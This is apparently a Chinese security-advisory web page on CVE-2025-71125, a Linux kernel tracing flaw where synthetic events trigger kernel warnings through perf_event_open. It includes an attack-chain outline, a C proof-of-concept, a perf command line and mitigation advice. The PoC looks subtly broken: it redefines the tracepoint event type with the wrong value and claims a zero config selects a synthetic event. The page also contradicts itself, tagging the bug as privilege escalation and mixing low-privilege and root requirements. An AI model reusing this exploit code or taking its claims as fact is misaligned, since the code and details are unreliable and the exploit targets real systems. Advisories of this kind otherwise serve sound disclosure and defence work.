IPBUF安全漏洞报告
English
CVE-2025-71125 CVSS 5.5 中危

Linux内核tracing子系统synthetic events拒绝服务漏洞(CVE-2025-71125)

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71125
漏洞类型
拒绝服务/空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (tracing subsystem - synthetic events)

相关标签

Linux KernelCVE-2025-71125拒绝服务tracing子系统synthetic eventsperf events空指针解引用内核警告本地提权Linux内核漏洞

漏洞概述

CVE-2025-71125是Linux内核中tracing子系统的一个中等严重性漏洞。该漏洞存在于synthetic events(合成事件)的perf event注册机制中。由于synthetic events缺少注册perf events的函数实现,当代码尝试注册perf events时,会调用tracepoint注册函数并传入NULL函数指针,导致内核触发警告(WARNING)。具体表现为在tracepoint_add_func函数中检测到无效的函数指针,从而引发内核警告信息。这种情况虽然不会直接导致系统崩溃,但会生成大量警告信息,影响系统日志的可用性,并且在高并发场景下可能对系统性能产生负面影响。攻击者可以通过本地低权限用户触发该漏洞,利用perf_event_open系统调用尝试创建synthetic事件,从而导致内核警告被触发,影响系统的稳定性和可用性。

技术细节

该漏洞的根本原因在于Linux内核的tracing子系统设计缺陷。在kernel/trace/trace_events_synth.c中,synthetic events模块没有实现perf event注册的回调函数。当用户空间程序(如perf工具)尝试通过perf_event_open系统调用创建synthetic类型的事件时,会调用perf_trace_init -> perf_trace_event_init -> synth_event_reg函数链。然而,synth_event_reg函数直接调用tracepoint_probe_register而没有先检查是否支持perf events注册,导致传递NULL函数指针给tracepoint_add_func。

在tracepoint_add_func函数(kernel/tracepoint.c:175)中,代码检测到func参数为NULL,触发WARNING并输出详细的堆栈跟踪信息。堆栈显示调用路径为:perf_event_open -> __se_sys_perf_event_open -> perf_event_alloc -> perf_try_init_event -> perf_tp_event_init -> perf_trace_init -> perf_trace_event_init -> synth_event_reg -> tracepoint_probe_register -> tracepoint_add_func。

修复方案是让synth_event_reg函数在不支持的情况下返回-ENODEV错误码,而不是尝试注册NULL函数指针。这样可以让用户空间工具(如perf)优雅地处理错误,而不是产生内核警告。理想情况下,未来版本应该完整实现synthetic events的perf event支持。

攻击链分析

STEP 1
1
攻击者以本地低权限用户身份登录系统
STEP 2
2
攻击者执行perf工具或编写程序调用perf_event_open系统调用
STEP 3
3
尝试创建synthetic类型的事件(如synthetic:futex_wait)
STEP 4
4
内核调用链:perf_event_open -> perf_tp_event_init -> perf_trace_init -> perf_trace_event_init
STEP 5
5
synth_event_reg函数被调用,尝试注册tracepoint但传入NULL函数指针
STEP 6
6
tracepoint_add_func检测到NULL函数指针,触发WARNING并输出内核警告信息
STEP 7
7
系统日志被污染,可用性受到影响,高频触发可能影响系统性能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/perf_event.h> /* * CVE-2025-71125 PoC - Linux Kernel tracing synthetic events DoS * * This PoC demonstrates the vulnerability where synthetic events * lack proper perf event registration, causing kernel warnings * when attempting to use them with perf tools. * * Compile: gcc -o cve_2025_71125_poc cve_2025_71125_poc.c * Run as root or with CAP_PERFMON capability */ #define PERF_TYPE_SOFTWARE 1 #define PERF_TYPE_TRACEPOINT 1 int main(int argc, char **argv) { struct perf_event_attr attr; int fd; printf("[*] CVE-2025-71125 PoC - Synthetic Events Perf Registration\n"); printf("[*] Target: Linux Kernel tracing subsystem\n\n"); // Initialize perf_event_attr structure memset(&attr, 0, sizeof(attr)); attr.type = PERF_TYPE_TRACEPOINT; attr.sample_type = PERF_SAMPLE_RAW | PERF_SAMPLE_TIME | PERF_SAMPLE_CPU; attr.sample_period = 1; attr.wakeup_events = 1; // Try to create a synthetic event (this will trigger the vulnerability) // The synthetic:futex_wait event type does not have proper registration attr.config = 0; // This will be interpreted as synthetic event printf("[*] Attempting to open synthetic event via perf_event_open...\n"); printf("[*] Check dmesg for WARNING messages after execution\n\n"); // Attempt to create the event fd = syscall(__NR_perf_event_open, &attr, -1, 0, -1, 0); if (fd == -1) { perror("[-] perf_event_open failed"); printf("[*] Expected behavior: Returns -1 (No such device)\n"); printf("[*] Check dmesg for kernel warnings related to tracepoint_add_func\n"); return 1; } printf("[+] Event created successfully (fd=%d)\n", fd); printf("[*] Reading event data...\n"); // Read some data char buf[4096]; read(fd, buf, sizeof(buf)); close(fd); printf("[*] Test completed. Check dmesg for WARNING messages.\n"); printf("[*] Expected WARNING: kernel/tracepoint.c:175 at tracepoint_add_func\n"); return 0; } /* * Alternative PoC using perf command (simpler method): * * # perf record -e synthetic:futex_wait sleep 10 * * This will trigger the same vulnerability when perf tries to * register the synthetic event for tracing. */

影响范围

Linux Kernel 6.18 (mainline before patch)
Linux Kernel 6.17 (affected)
Linux Kernel 6.16 (affected)
Linux Kernel 6.15 (affected)
Stable kernel versions: 6.6.68, 6.1.117, 5.15.172, 5.10.232, 5.4.292

防御指南

临时缓解措施
目前没有有效的临时缓解措施可以完全阻止该漏洞的触发。建议限制非特权用户使用perf工具和perf_event_open系统调用(通过seccomp或SELinux策略),以减少漏洞被触发的可能性。同时,监控系统日志中的WARNING信息,以便及时发现漏洞被利用的情况。最终修复需要等待官方内核补丁的发布和部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表